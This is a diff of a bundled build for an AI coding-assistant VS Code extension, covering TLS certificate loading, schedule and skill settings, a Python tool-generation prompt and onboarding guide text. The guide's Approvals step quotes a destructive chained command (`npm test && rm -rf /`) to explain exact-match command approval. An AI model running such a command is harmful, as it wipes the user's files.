+ if (ca !== void 0)
49491
+ connect.ca = ca;
49492
+ return connect;
49493
+ }
49494
+
49495
+ // ../../packages/core/dist/platform/http.js
49496
+ function tlsKey(tls2) {
49497
+ const hash2 = createHash("sha256");
49498
+ for (const part of [tls2.cert, tls2.key, tls2.pfx, ...tls2.ca ?? []]) {
49499
+ hash2.update(part ?? Buffer.alloc(0));
49500
+ hash2.update("|");
49501
+ }
49502
+ hash2.update(tls2.passphrase ?? "");
49503
+ return hash2.digest("hex");
49504
+ }
49505
+ var FetchHttpClient = class {
49506
+ /** Agents are pooled: building one per request would discard connection reuse entirely. */
49507
+ agents = /* @__PURE__ */ new Map();
49508
+ agentFor(tls2) {
49509
+ const key = tlsKey(tls2);
49510
+ const existing = this.agents.get(key);
49511
+ if (existing !== void 0)
49512
+ return existing;
49513
+ const agent = new import_undici.Agent({ connect: buildConnectOptions(tls2) });
49514
+ this.agents.set(key, agent);
49515
+ return agent;
49516
+ }
49517
+ /** Drops pooled agents so the next request rebuilds TLS — call when certs change on disk. */
49518
+ resetTlsAgents() {
49519
+ for (const agent of this.agents.values())
49520
+ void agent.close();
49521
+ this.agents.clear();
49522
+ }
49523
+ async request(url2, options = {}) {
49524
+ const init = {};
49525
+ if (options.method !== void 0)
49526
+ init.method = options.method;
49527
+ if (options.headers !== void 0)
49528
+ init.headers = options.headers;
49529
+ if (options.body !== void 0)
49530
+ init.body = options.body;
49531
+ if (options.signal !== void 0)
49532
+ init.signal = options.signal;
49533
+ if (options.tls !== void 0)
49534
+ init.dispatcher = this.agentFor(options.tls);
49535
+ const response = await (0, import_undici.fetch)(url2, init);
49536
+ return {
49537
+ status: response.status,
49538
+ headers: Object.fromEntries(response.headers.entries()),
49539
+ text: () => response.text(),
49540
+ json: () => response.json(),
49541
+ body: response.body
49542
+ };
49543
+ }
49544
+ };
49545
+
49546
+ // ../../packages/core/dist/platform/connectionTls.js
49547
+ import fs2 from "node:fs/promises";
49548
+ import path2 from "node:path";
49549
+ var TlsConfigError = class extends Error {
49550
+ constructor(message) {
49551
+ super(message);
49552
+ this.name = "TlsConfigError";
49553
+ }
49554
+ };
49555
+ async function readFile(file2, certDir, label, seen) {
49556
+ const resolved = path2.isAbsolute(file2) ? file2 : certDir !== void 0 ? path2.join(certDir, file2) : file2;
49557
+ seen.push(resolved);
49558
+ try {
49559
+ return await fs2.readFile(resolved);
49560
+ } catch (error51) {
49561
+ const code = error51.code;
49562
+ throw new TlsConfigError(code === "ENOENT" ? `${label} not found at "${resolved}". Check the path in Settings \u2192 Network, or set a certificate directory there.` : `Could not read ${label.toLowerCase()} at "${resolved}": ${error51 instanceof Error ? error51.message : String(error51)}`);
49563
+ }
49564
+ }
49565
+ function hasClientMaterial(settings) {
49566
+ return settings?.certFile !== void 0 && settings.certFile.trim().length > 0 || settings?.pfxFile !== void 0 && settings.pfxFile.trim().length > 0;
49567
+ }
49568
+ async function resolveConnectionTls(options) {
49569
+ const paths = [];
49570
+ try {
49571
+ return await build(options, paths);
49572
+ } finally {
49573
+ if (paths.length > 0)
49574
+ options.onPaths?.(paths);
49575
+ }
49576
+ }
49577
+ async function build(options, paths) {
49578
+ const { global: global2, connection, certDir } = options;
49579
+ const cas = [];
49580
+ for (const file2 of [global2?.caFile, connection?.caFile]) {
49581
+ if (file2 !== void 0 && file2.trim().length > 0) {
49582
+ cas.push(await readFile(file2.trim(), certDir, "CA certificate", paths));
49583
+ }
49584
+ }
49585
+ const clientSource = hasClientMaterial(connection) ? connection : connection?.useGlobalClientCertificate === false ? void 0 : hasClientMaterial(global2) ? global2 : void 0;
49586
+ const rejectUnauthorized = connection?.rejectUnauthorized ?? global2?.rejectUnauthorized;
49587
+ if (cas.length === 0 && clientSource === void 0 && rejectUnauthorized !== false)
49588
+ return void 0;
49589
+ const tls2 = {};
49590
+ if (cas.length > 0)
49591
+ tls2.ca = cas;
49592
+ if (rejectUnauthorized === false)
49593
+ tls2.rejectUnauthorized = false;
49594
+ if (clientSource !== void 0) {
49595
+ if (clientSource.pfxFile !== void 0 && clientSource.pfxFile.trim().length > 0) {
49596
+ tls2.pfx = await readFile(clientSource.pfxFile.trim(), certDir, "PFX bundle", paths);
49597
+ } else {
49598
+ const certFile = clientSource.certFile?.trim() ?? "";
49599
+ const keyFile = clientSource.keyFile?.trim() ?? "";
49600
+ if (keyFile.length === 0) {
49601
+ throw new TlsConfigError("A client certificate is configured but no private key. Set the key file in Settings \u2192 Network, or use a PFX bundle.");
49602
+ }
49603
+ tls2.cert = await readFile(certFile, certDir, "Client certificate", paths);
49604
+ tls2.key = await readFile(keyFile, certDir, "Private key", paths);
49605
+ }
49606
+ if (options.passphrase !== void 0)
49607
+ tls2.passphrase = options.passphrase;
49608
+ }
49609
+ return tls2;
49610
+ }
49611
+
49437
49612
  // ../../packages/core/dist/mcp/types.js
49438
49613
  var stdioServerSchema = external_exports.object({
49439
49614
  command: external_exports.string().min(1),
@@ -49470,6 +49645,12 @@ function resolveToolPermission(toolName, namespacedName, disabledTools, alwaysAl
49470
49645
  function namespacedToolName(serverName, toolName) {
49471
49646
  return `${serverName}__${toolName}`;
49472
49647
  }
49648
+ function parseNamespacedToolName(name) {
49649
+ const index = name.indexOf("__");
49650
+ if (index <= 0)
49651
+ return void 0;
49652
+ return { serverName: name.slice(0, index), toolName: name.slice(index + 2) };
49653
+ }
49473
49654
  var PACKAGE_RUNNERS = /* @__PURE__ */ new Set(["npx", "npx.cmd", "pnpm", "pnpm.cmd", "pnpx", "bunx", "uvx", "yarn", "yarn.cmd"]);
49474
49655
  function isPackageRunnerCommand(command) {
49475
49656
  const base = command.split(/[\\/]/).pop()?.toLowerCase() ?? "";
@@ -49511,6 +49692,20 @@ var scheduleSchema = external_exports.object({
49511
49692
  * Control tools are always available regardless; they perform no work.
49512
49693
  */
49513
49694
  allowedTools: external_exports.array(external_exports.string()),
49695
+ /**
49696
+ * Which skills this run is told about, by name.
49697
+ *
49698
+ * **Absent means all of them**, which is what every schedule written before this existed
49699
+ * means, and the only reading that cannot silently take knowledge away from a job that was
49700
+ * working. An empty array is a real choice — "this run needs none" — and is honoured.
49701
+ *
49702
+ * Why a list rather than the retrieval the chat uses: a scheduled run's tools are an
49703
+ * allowlist the user ticked, and it may well not include `search_docs`, so telling the run
49704
+ * that notes exist and to go and search for them can leave it with nothing to search with.
49705
+ * Choosing the relevant ones up front is also simply better for a job that does the same
49706
+ * thing every night — it knows in advance which conventions apply, where the chat cannot.
49707
+ */
49708
+ allowedSkills: external_exports.array(external_exports.string()).optional(),
49514
49709
  /**
49515
49710
  * When the timer will next run this, in epoch ms.
49516
49711
  *
@@ -49546,6 +49741,12 @@ var scheduleSchema = external_exports.object({
49546
49741
  var MAX_REMEMBERED_RUNS = 20;
49547
49742
  var schedulesSchema = external_exports.record(external_exports.string(), scheduleSchema);
49548
49743
  var ALWAYS_AVAILABLE_TO_SCHEDULES = ["attempt_completion", "notify"];
49744
+ function skillsForSchedule(skills, allowed) {
49745
+ if (allowed === void 0)
49746
+ return [...skills];
49747
+ const wanted = new Set(allowed);
49748
+ return skills.filter((skill) => wanted.has(skill.name));
49749
+ }
49549
49750
 
49550
49751
  // ../../packages/core/dist/providers/types.js
49551
49752
  var wireFormatSchema = external_exports.enum(["openai", "anthropic", "gemini"]);
@@ -49724,7 +49925,45 @@ var expertConfigSchema = external_exports.object({
49724
49925
  * The backstop for when the CLI reports no cost — a spend limit cannot count what it is
49725
49926
  * not told the price of, and an unpriced consultation still costs money.
49726
49927
  */
49727
- maxConsultations: external_exports.number().int().min(0)
49928
+ maxConsultations: external_exports.number().int().min(0),
49929
+ /**
49930
+ * Whether this plan reports a per-consultation cost.
49931
+ *
49932
+ * Learned rather than configured, and learned from real consultations rather than from a
49933
+ * probe — asking the CLI "do you report cost?" means making a call, and the first call in a
49934
+ * session is the expensive one. So it is recorded the first time a consultation comes back
49935
+ * with or without `total_cost_usd`.
49936
+ *
49937
+ * Absent means not yet known. It matters because a spend cap cannot bind on a plan that
49938
+ * reports no cost: `usd` stays zero, the limit is never reached, and the only control that
49939
+ * actually holds is the consultation count. A cap that silently never fires is worse than no
49940
+ * cap, because it is believed.
49941
+ */
49942
+ reportsCost: external_exports.boolean(),
49943
+ /**
49944
+ * Refresh the expert's cache while a task is open, rather than paying a cold start later.
49945
+ *
49946
+ * The cache is one hour and that TTL is Anthropic's, not ours. A trivial resumed consultation
49947
+ * before it lapses costs about a fiftieth of the cold start it avoids.
49948
+ *
49949
+ * Off by default, and it must stay that way: it spends with nobody at the screen, which is
49950
+ * the one property this product is careful about everywhere else. Its cost is counted in the
49951
+ * meter like anything else.
49952
+ */
49953
+ keepAlive: external_exports.boolean(),
49954
+ /**
49955
+ * What a consultation costs on this plan, measured rather than assumed.
49956
+ *
49957
+ * The published figures came from one plan on one day. An enterprise agreement, a
49958
+ * subscription or a gateway can each report something different — and those numbers are what
49959
+ * the budget is set from and what the expert is told when it plans to fit.
49960
+ */
49961
+ pricing: external_exports.object({
49962
+ coldUsd: external_exports.number().min(0).optional(),
49963
+ resumedUsd: external_exports.number().min(0).optional(),
49964
+ measuredAt: external_exports.number(),
49965
+ reportsCost: external_exports.boolean()
49966
+ })
49728
49967
  }).partial();
49729
49968
  var vectorStoreKindSchema = external_exports.enum(["opensearch", "qdrant", "chroma"]);
49730
49969
  var vectorStoreSchema = external_exports.object({
@@ -49813,14 +50052,30 @@ var skillsConfigSchema = external_exports.object({
49813
50052
  }).partial();
49814
50053
  var retrievalConfigSchema = external_exports.object({
49815
50054
  /**
49816
- * Off by default, and that is a real default rather than caution.
50055
+ * **On by default since 0.33.0**, at the user's request: looking a tool up first is the
50056
+ * behaviour they want, and a corporate install with several MCP servers is the case this
50057
+ * product is actually deployed into.
49817
50058
  *
49818
- * The dispatcher trades a smaller prompt for less reliable tool calls: models are
49819
- * measurably better at native tool-calling than at naming a tool inside `call_tool`.
49820
- * It earns its place when a large MCP catalogue genuinely dominates the context window,
49821
- * which is a minority of installs.
50059
+ * The cost it trades against is real and unchanged models are measurably better at
50060
+ * native tool-calling than at naming a tool inside `call_tool`. Two things keep that from
50061
+ * biting a small install: nothing is hidden unless there is something to hide (a workspace
50062
+ * with no MCP or Python tools registers no dispatcher tools at all, so it pays nothing),
50063
+ * and the switch is one click away in Settings → Search, which reports exactly how many
50064
+ * tools it is hiding.
49822
50065
  */
49823
50066
  dispatcher: external_exports.boolean(),
50067
+ /**
50068
+ * The same treatment for skills: their names and descriptions leave the prompt and are
50069
+ * found with `search_docs` instead.
50070
+ *
50071
+ * On by default, and paired with `dispatcher` rather than independent of it in practice —
50072
+ * but a separate key because the trade is different. A tool's schema is large and its name
50073
+ * is guessable from the task; a skill's summary is one line and is the *only* thing that
50074
+ * makes the model aware the skill exists at all. So hiding skills saves less and risks
50075
+ * more, which is why a count and a standing instruction to search stay in the prompt even
50076
+ * when the list does not — see `renderSkillsHintForPrompt`.
50077
+ */
50078
+ skills: external_exports.boolean(),
49824
50079
  /**
49825
50080
  * Where the documentation corpus is indexed. Absent means `search_docs` still works,
49826
50081
  * matching names and descriptions from the live registry instead of by meaning — see
@@ -49828,6 +50083,12 @@ var retrievalConfigSchema = external_exports.object({
49828
50083
  */
49829
50084
  docsIndex: external_exports.string()
49830
50085
  }).partial();
50086
+ function dispatcherEnabled(retrieval) {
50087
+ return retrieval?.dispatcher !== false;
50088
+ }
50089
+ function skillRetrievalEnabled(retrieval) {
50090
+ return dispatcherEnabled(retrieval) && retrieval?.skills !== false;
50091
+ }
49831
50092
  var embedderConfigSchema = external_exports.object({
49832
50093
  profileId: external_exports.string().min(1),
49833
50094
  model: external_exports.string().min(1),
@@ -49894,6 +50155,18 @@ var configSchema = external_exports.object({
49894
50155
  */
49895
50156
  schedules: schedulesSchema,
49896
50157
  activeProfileId: external_exports.string(),
50158
+ /**
50159
+ * The profile that writes Python tool source, when it should not be the chat model.
50160
+ *
50161
+ * A cheap model is fine at deciding a tool is needed and describing it, and much worse at
50162
+ * writing the file. Naming a profile here splits the two: the chat model sends a
50163
+ * specification and this one produces the source, which goes through the ordinary approval
50164
+ * prompt showing the real bytes.
50165
+ *
50166
+ * Absent means the chat model writes it, which is the behaviour every release so far has
50167
+ * had. User-scope only for the same reason as `profiles`: it names where inference goes.
50168
+ */
50169
+ programmingProfileId: external_exports.string(),
49897
50170
  certDir: external_exports.string(),
49898
50171
  python: pythonConfigSchema,
49899
50172
  /**
@@ -49963,10 +50236,291 @@ function parseConfig(raw) {
49963
50236
  return result.data;
49964
50237
  }
49965
50238
 
50239
+ // ../../packages/core/dist/session/variables.js
50240
+ var sessionVariableSchema = external_exports.object({
50241
+ name: external_exports.string().min(1),
50242
+ value: external_exports.string(),
50243
+ /** Shown beside the value. For "which one of these is the staging URL". */
50244
+ description: external_exports.string().optional()
50245
+ });
50246
+ var sessionVariablesSchema = external_exports.array(sessionVariableSchema);
50247
+ var VALID_NAME = /^[A-Za-z_][A-Za-z0-9_]*$/;
50248
+ function isValidVariableName(name) {
50249
+ return VALID_NAME.test(name);
50250
+ }
50251
+ function resolveSessionVariables(adminVariables, userVariables) {
50252
+ const byName = /* @__PURE__ */ new Map();
50253
+ for (const variable of userVariables) {
50254
+ byName.set(variable.name, { ...variable, scope: "user" });
50255
+ }
50256
+ for (const variable of adminVariables) {
50257
+ const displaced = byName.get(variable.name);
50258
+ byName.set(variable.name, {
50259
+ ...variable,
50260
+ scope: "admin",
50261
+ ...displaced !== void 0 ? { overriddenUserValue: displaced.value } : {}
50262
+ });
50263
+ }
50264
+ return [...byName.values()].sort((a, b) => a.name.localeCompare(b.name));
50265
+ }
50266
+ function toEnvironment(variables) {
50267
+ const env2 = {};
50268
+ for (const variable of variables) {
50269
+ if (!isValidVariableName(variable.name))
50270
+ continue;
50271
+ env2[variable.name] = variable.value;
50272
+ }
50273
+ return env2;
50274
+ }
50275
+
50276
+ // ../../packages/core/dist/python/codeGenerator.js
50277
+ function buildCodeGenerationPrompt(request) {
50278
+ const lines = [
50279
+ "Write one complete Python file implementing the tool described below.",
50280
+ "",
50281
+ "Requirements, all load-bearing:",
50282
+ "- Define a function named `run`. It is the entry point and nothing else is called.",
50283
+ "- Annotate every parameter and the return type. The tool\u2019s schema is derived from those",
50284
+ " hints, so an unannotated parameter cannot be passed by the caller.",
50285
+ "- Write a module docstring. It becomes the tool description the model reads when choosing",
50286
+ " this tool, so say what it does, not how.",
50287
+ "- Document parameters in a Google-style `Args:` block.",
50288
+ "- Declare any third-party dependency in a PEP 723 inline block. Standard library needs none.",
50289
+ "",
50290
+ "**Return the file and nothing else.** No explanation, no fenced code block, no preamble.",
50291
+ "Anything that is not Python will be written to the file verbatim and fail to parse.",
50292
+ "",
50293
+ `Tool name: ${request.toolName}`,
50294
+ "",
50295
+ "What it must do:",
50296
+ request.specification
50297
+ ];
50298
+ if (request.existingSource !== void 0 && request.existingSource.length > 0) {
50299
+ lines.push("", "This tool already exists. Change what the requirement asks for and leave the rest alone \u2014", "return the whole file, including the parts you did not touch.", "", "Current file:", request.existingSource);
50300
+ }
50301
+ return lines.join("\n");
50302
+ }
50303
+ function unwrapFencedSource(text) {
50304
+ const trimmed = text.trim();
50305
+ if (!trimmed.startsWith("```"))
50306
+ return text;
50307
+ const firstNewline = trimmed.indexOf("\n");
50308
+ if (firstNewline === -1)
50309
+ return text;
50310
+ const opening = trimmed.slice(0, firstNewline).trim();
50311
+ if (!/^```[a-zA-Z0-9]*$/.test(opening))
50312
+ return text;
50313
+ if (!trimmed.endsWith("```"))
50314
+ return text;
50315
+ return trimmed.slice(firstNewline + 1, trimmed.length - 3).replace(/\s+$/, "") + "\n";
50316
+ }
50317
+
50318
+ // ../../packages/core/dist/review/types.js
50319
+ function describeSubmission(request) {
50320
+ const what = request.kind === "python-tool" ? "tool" : "skill";
50321
+ return [
50322
+ `Submitted "${request.name}" for review. It is not saved and not callable yet.`,
50323
+ "",
50324
+ `An administrator has to read the ${what} and approve it before it can run. This is not an`,
50325
+ "error and there is nothing to retry \u2014 submitting again would only add a second copy to the",
50326
+ "queue. Tell the user it is waiting for approval and carry on with whatever else the task",
50327
+ "needs."
50328
+ ].join("\n");
50329
+ }
50330
+
50331
+ // ../../packages/core/dist/expert/pricing.js
50332
+ var PRICING_PROBE = "Reply with the single word: OK";
50333
+ function pricingForPrompt(pricing) {
50334
+ if (pricing === void 0 || !pricing.reportsCost)
50335
+ return void 0;
50336
+ const cold = pricing.coldUsd;
50337
+ const resumed = pricing.resumedUsd;
50338
+ if (cold === void 0 || resumed === void 0)
50339
+ return void 0;
50340
+ return `Measured on this deployment: the first consultation of a task costs about ${money(cold)}, and each one after it about ${money(resumed)} because it resumes the same session. Plan accordingly \u2014 make the first one carry the task, and do not repeat context afterwards.`;
50341
+ }
50342
+ function money(value) {
50343
+ return value >= 0.01 ? `$${value.toFixed(2)}` : `$${value.toFixed(4)}`;
50344
+ }
50345
+
50346
+ // ../../packages/core/dist/guide/steps.js
50347
+ var GUIDE_STEPS = [
50348
+ {
50349
+ id: "orientation",
50350
+ title: "Where everything is",
50351
+ opensPanel: true,
50352
+ completionEvents: ["onCommand:lightCode.openPanel"],
50353
+ altText: "The VS Code window: the Light Code icon in the activity bar, the chat panel, and the new-task, history, settings and guide buttons in its header.",
50354
+ body: [
50355
+ "Light Code lives in one sidebar panel. The chat is the whole product; the gear opens eleven settings tabs, and the question mark reopens this guide whenever you want it.",
50356
+ "The numbers in the picture are the four things worth knowing before anything else."
50357
+ ]
50358
+ },
50359
+ {
50360
+ id: "providers",
50361
+ title: "Providers - point it at a model",
50362
+ tab: "providers",
50363
+ completionEvents: ["onContext:lightCode.hasProvider"],
50364
+ altText: "The Providers tab, showing the profile list and the fields for editing one: preset, label, base URL, authentication, API key, model and Test connection.",
50365
+ body: [
50366
+ "Nothing ships configured. There are no default endpoints, so a fresh install contacts nothing until you fill this in.",
50367
+ "**Preset** prefills a base URL and wire format - OpenAI-compatible, Anthropic, Gemini, DeepSeek - and every field stays editable for a gateway that fronts one differently. **Authentication** is a separate axis: an API key, or Apigee client-certificate mTLS with a token grant. **Model** is fetched from your gateway and always typeable, because many return nothing. Keep one profile per gateway and switch between them from the chat header.",
50368
+ "**Test connection** is the field worth using first: it loads certificates, gets a token, lists models, and tells you which of the three failed."
50369
+ ]
50370
+ },
50371
+ {
50372
+ id: "network",
50373
+ title: "Network - certificates, once, for everything",
50374
+ tab: "network",
50375
+ completionEvents: ["onStepSelected"],
50376
+ altText: "The Network tab, showing certificate directory, CA certificate, client certificate and key, PFX bundle, passphrase, and the verify-TLS toggle.",
50377
+ body: [
50378
+ "If your company intercepts TLS or issues client certificates, this is the only place you set that up. It applies to every connection: the gateway, the token endpoint, MCP over HTTP, the vector store and the embedder.",
50379
+ "**CA certificate** is added to the public roots rather than replacing them, so trusting your corporate root does not cost you every other host. **Certificate and key** - or a **PFX bundle**, which is what Windows PKI usually issues - identify you. Any single connection can override either.",
50380
+ "**Verify TLS certificates** can be turned off, and the panel says plainly what that costs: an interceptor can read and change the traffic, API key included. Add the CA instead."
50381
+ ]
50382
+ },
50383
+ {
50384
+ id: "chat",
50385
+ title: "The chat - ask for something real",
50386
+ opensPanel: true,
50387
+ completionEvents: ["onContext:lightCode.hasChatted"],
50388
+ altText: "The chat header, with the mode selector, the expert budget, and the four header buttons labelled; below it, the composer.",
50389
+ body: [
50390
+ "Type a request. It reads files, searches, edits and runs commands, one step at a time, and stops when it is done or when it needs you.",
50391
+ "**@** names a file directly. Paste a screenshot, or drop a Word, Excel, PDF or HTML file in. Long output is truncated with a handle it can re-read, so a huge log does not eat the window - the bar above the composer shows what has.",
50392
+ "**Mode** picks what it may do: Code edits and runs, Ask is read-only, Junior brings the expert in. **History** keeps every past task, and reopening one restores the whole transcript."
50393
+ ]
50394
+ },
50395
+ {
50396
+ id: "approvals",
50397
+ title: "Approvals - nothing happens without you",
50398
+ tab: "approvals",
50399
+ completionEvents: ["onStepSelected"],
50400
+ altText: "The Approvals tab, showing four auto-approve toggles all off, the always-allowed command and tool lists, extra readable folders, and the maximum-steps setting.",
50401
+ body: [
50402
+ "Every tool call is shown before it runs, as ground truth: the real command, the computed diff, the actual source. Never the model's description of what it means to do. **Deny** is a real answer - it goes back as a result and the turn continues.",
50403
+ "This tab is where standing permission is granted and, more importantly, taken back. The four toggles skip the prompt by category and **all ship off**. Below them are the grants you made in the chat: always-allowed commands, always-allowed MCP tools, and folders outside the workspace it may read.",
50404
+ "Command matching is **exact, byte for byte**. Allowing `npm test` never allows `npm test && rm -rf /`.",
50405
+ "Before its first edit to a task it snapshots the workspace, so you can roll the whole thing back."
50406
+ ]
50407
+ },
50408
+ {
50409
+ id: "mcp",
50410
+ title: "MCP - connect the servers you already run",
50411
+ tab: "mcp",
50412
+ completionEvents: ["onStepSelected"],
50413
+ altText: "The MCP tab, showing two servers with health, per-tool Always/Ask/Never controls, and the JSON configuration box.",
50414
+ body: [
50415
+ "Standard `mcpServers` configuration, so a config from another client pastes in unchanged. stdio or HTTP, inferred from whether you gave a command or a URL.",
50416
+ "Servers connect when the panel opens and show health, so a mistyped command is visible immediately rather than the first time something needs it. Every tool is namespaced `server__tool`, and each one has its own **Always / Ask / Never** - one server can expose forty.",
50417
+ "Secrets go in as `${secret:NAME}` and are resolved from the OS keychain at spawn time, never written into the file."
50418
+ ]
50419
+ },
50420
+ {
50421
+ id: "python",
50422
+ title: "Python - let it write its own tools",
50423
+ tab: "python",
50424
+ completionEvents: ["onStepSelected"],
50425
+ altText: "The Python tab, showing the enable toggle, uv path, environment choice, tools folder, package index, timeout, and a created tool with its content-hash approval note.",
50426
+ body: [
50427
+ "It can write a Python tool mid-conversation and call it from the next message. Dependencies are declared in the file and installed with `uv`; the schema comes from your type hints, so there is no metadata to keep in step.",
50428
+ "**Python environment** prefers your project's own venv, because that is where your internal libraries already are. **Package index** can point at an internal mirror, or refuse the network entirely.",
50429
+ "This is the sharpest surface in the product, so it is off by default and creating a tool **always** prompts with the full source - no toggle skips it. Approval pins a hash of exactly what you saw; a file edited outside is refused and reported, and tools live in `.lightcode/tools/` so they land in git and get reviewed."
50430
+ ]
50431
+ },
50432
+ {
50433
+ id: "skills",
50434
+ title: "Skills - teach it your conventions",
50435
+ tab: "skills",
50436
+ completionEvents: ["onStepSelected"],
50437
+ altText: "The Skills tab, showing two skills, a note that they are found by searching rather than listing, the writable skills folder, extra read-only folders, the problems list, and the approval note.",
50438
+ body: [
50439
+ "A skill is a markdown file with a name and a description. The body is never in the prompt - it is read with `read_file` when a task actually calls for it, so a skill can be as long as you like.",
50440
+ "By default the summaries are not in the prompt either: the assistant searches for a relevant note with `search_docs`, the same way it finds tools. What stays is a count and an instruction to look, so it still knows notes exist - a description nobody sees is a note nobody reads. Switch it off in **Search** if you would rather every summary sat in the prompt.",
50441
+ 'This is the answer to "it does not know about our internal libraries". It offers to write one when you explain something durable, and offers to correct one when something contradicts it - a stale skill is worse than a missing one.',
50442
+ "You get a writable folder plus any number of read-only ones, such as a shared team folder, with PATH-style precedence and shadowing reported rather than silently applied. Writing a skill needs approval too: it is prose that steers every future turn."
50443
+ ]
50444
+ },
50445
+ {
50446
+ id: "search",
50447
+ title: "Search - find things by meaning",
50448
+ tab: "search",
50449
+ completionEvents: ["onStepSelected"],
50450
+ altText: "The Search tab, showing the backend choice, connection fields, embedding profile, the index button, the two look-things-up toggles for tools and skills, index copying, and query limits.",
50451
+ body: [
50452
+ "Indexing is optional, ships disabled, and is **the largest thing Light Code ever sends anywhere**: it uploads the contents of your workspace to the embedding endpoint you name. It says so, and where to, before the first upload.",
50453
+ "**Qdrant** and **Chroma** run locally if you would rather nothing left the machine; **OpenSearch** is usually the one your company already has. Embeddings reuse a provider profile, so there is no second set of credentials. You can **copy an index between backends**, so changing your mind later does not orphan what you indexed.",
50454
+ "**Looking things up rather than listing them is the default.** MCP and Python tool schemas, and skill summaries, stay out of the prompt; the assistant finds them with `search_docs` and calls them through `call_tool`. Nothing is registered when there is nothing to hide, so a workspace with no MCP servers and no skills pays nothing for it. The tab shows how many things it is hiding, and either half can be switched off - models do call a tool listed in the prompt slightly more reliably than one named through a dispatcher."
50455
+ ]
50456
+ },
50457
+ {
50458
+ id: "tools",
50459
+ title: "Tools - everything it can call",
50460
+ tab: "tools",
50461
+ completionEvents: ["onStepSelected"],
50462
+ altText: "The Tools tab, showing the search box and the catalogue grouped into built-in, MCP and Python tools, with the looked-up badge explained.",
50463
+ body: [
50464
+ "One read-only list of every tool available right now: the built-in nine, everything your MCP servers expose, and the Python tools it has written. Search matches descriptions as well as names, so you can look for what you want done rather than what it is called.",
50465
+ "A **looked up** badge means the tool is kept out of the system prompt to save space - the default for MCP and Python tools. It is still callable: the assistant searches for it and calls it by name. A shorter prompt is not a shorter tool list; withholding a capability is what Approvals and modes are for."
50466
+ ]
50467
+ },
50468
+ {
50469
+ id: "expert",
50470
+ title: "Expert - spend less on the hard parts",
50471
+ tab: "expert",
50472
+ completionEvents: ["onStepSelected"],
50473
+ altText: "The Expert tab, showing the enable toggle, command and model, the per-task spend and consultation limits, cost estimate, skill assessment, and the read-only tool restriction.",
50474
+ body: [
50475
+ "In **Junior mode** a cheap model does the work and consults Claude, through the Claude CLI, on the parts that need it. The expert plans, sets checkpoints, and reviews each one as the junior finishes it.",
50476
+ "It is read-only by construction - Read, Grep and Glob, never edit or execute - so a second agent can never act outside the approval gate. It keeps one session per task, which makes the first consultation the expensive one and every later one about nineteen times cheaper.",
50477
+ "**Budget per task** caps both spend and number of consultations, and the same control sits in the chat header so you can raise it mid-task. The expert is told what is left and plans to fit, gives you a cost estimate up front, and can assess how your primary model is doing."
50478
+ ]
50479
+ },
50480
+ {
50481
+ id: "schedules",
50482
+ title: "Schedules - let it run on its own",
50483
+ tab: "schedules",
50484
+ completionEvents: ["onStepSelected"],
50485
+ altText: "The Schedules tab, showing a schedule name, prompt and interval, the file-permission, tool and skill filters for unattended runs, and the run history.",
50486
+ body: [
50487
+ "A prompt on a timer. Runs in the background without touching the chat you are in, and keeps running with the panel closed.",
50488
+ "Nobody is present to approve anything, so an unattended run does not inherit your auto-approve settings. Permission is granted **per schedule**: files are read-only unless you say otherwise, and you pick exactly which tools it may call. Creating Python tools or skills is never available to a schedule at all - model-authored code with no one watching is the one thing that stays out of reach.",
50489
+ "**A schedule names the skills it needs** rather than searching for them, under *What it should know*. Its tool list may not include `search_docs`, and a run that comes up empty has nobody to notice. All skills are included until you narrow it.",
50490
+ "Every run is logged with its full transcript, and `notify` raises a toast when a run has something to say."
50491
+ ]
50492
+ },
50493
+ {
50494
+ id: "appearance",
50495
+ title: "Appearance - make it yours",
50496
+ tab: "appearance",
50497
+ completionEvents: ["onStepSelected"],
50498
+ altText: "The Appearance tab, showing the accent colour swatches, the expert colour swatches, and the reduced-motion toggle.",
50499
+ body: [
50500
+ "The panel follows your editor theme. Two colours are yours to set: the **accent**, used for anything actionable, and the **expert** colour, which marks authorship - text in it is Claude's words rather than your primary model's.",
50501
+ "Text on either is computed rather than fixed, so it stays readable whatever you pick. Motion follows your OS reduced-motion setting, and can be turned off here regardless."
50502
+ ]
50503
+ },
50504
+ {
50505
+ id: "privacy",
50506
+ title: "What it does not do",
50507
+ completionEvents: ["onStepSelected"],
50508
+ altText: "A diagram of what leaves the machine: your gateway and MCP servers, plus the vector store and embedder only if Search is enabled; then the four things Light Code never does, and a warning that nothing is sandboxed.",
50509
+ body: [
50510
+ "No telemetry. No update checks. No default endpoints - a fresh install contacts nothing. No remote assets in the panel.",
50511
+ "The only hosts it ever reaches are the ones you configured: your gateway, your MCP servers, and - only if you turn Search on - your vector store and embedding endpoint.",
50512
+ "Two things are stated plainly rather than glossed. **Indexing is the largest egress in the product**: enabling it sends your workspace to the embedder. And **nothing is sandboxed** - commands, Python tools and MCP servers run as you, with your permissions, and Light Code does not protect you from another process running as the same user. Approval is the real boundary, which is why it is per-invocation and why every toggle ships off.",
50513
+ "Source, issues and the full security section: [github.com/chosengenerationdev/light-code](https://github.com/chosengenerationdev/light-code)"
50514
+ ]
50515
+ }
50516
+ ];
50517
+
49966
50518
  // ../../packages/core/dist/config/scopes.js
49967
50519
  var USER_SCOPE_ONLY_KEYS = [
49968
50520
  "profiles",
49969
50521
  "activeProfileId",
50522
+ // Names where inference goes, exactly as the other two do.
50523
+ "programmingProfileId",
49970
50524
  "certDir",
49971
50525
  // The whole block, not just uvPath: toolsDir and venvPath also name where code is found
49972
50526
  // and run from, and dynamicTools decides whether model-authored code runs at all.
@@ -50510,7 +51064,7 @@ function describeTlsError(error51) {
50510
51064
  }
50511
51065
 
50512
51066
  // ../../packages/core/dist/providers/auth/certs.js
50513
- import crypto2 from "node:crypto";
51067
+ import crypto from "node:crypto";
50514
51068
  import fs4 from "node:fs/promises";
50515
51069
  import path6 from "node:path";
50516
51070
  var CertError = class extends Error {
@@ -50547,12 +51101,12 @@ function assertKeyMatchesCert(cert, key, passphrase) {
50547
51101
  let publicKey;
50548
51102
  let privateKey;
50549
51103
  try {
50550
- publicKey = new crypto2.X509Certificate(cert).publicKey;
51104
+ publicKey = new crypto.X509Certificate(cert).publicKey;
50551
51105
  } catch (error51) {
50552
51106
  throw new CertError(`The certificate could not be parsed: ${error51 instanceof Error ? error51.message : String(error51)}`);
50553
51107
  }
50554
51108
  try {
50555
- privateKey = crypto2.createPrivateKey(passphrase !== void 0 ? { key, passphrase } : { key });
51109
+ privateKey = crypto.createPrivateKey(passphrase !== void 0 ? { key, passphrase } : { key });
50556
51110
  } catch (error51) {
50557
51111
  const message = error51 instanceof Error ? error51.message : String(error51);
50558
51112
  if (/bad decrypt|bad password|passphrase/i.test(message)) {
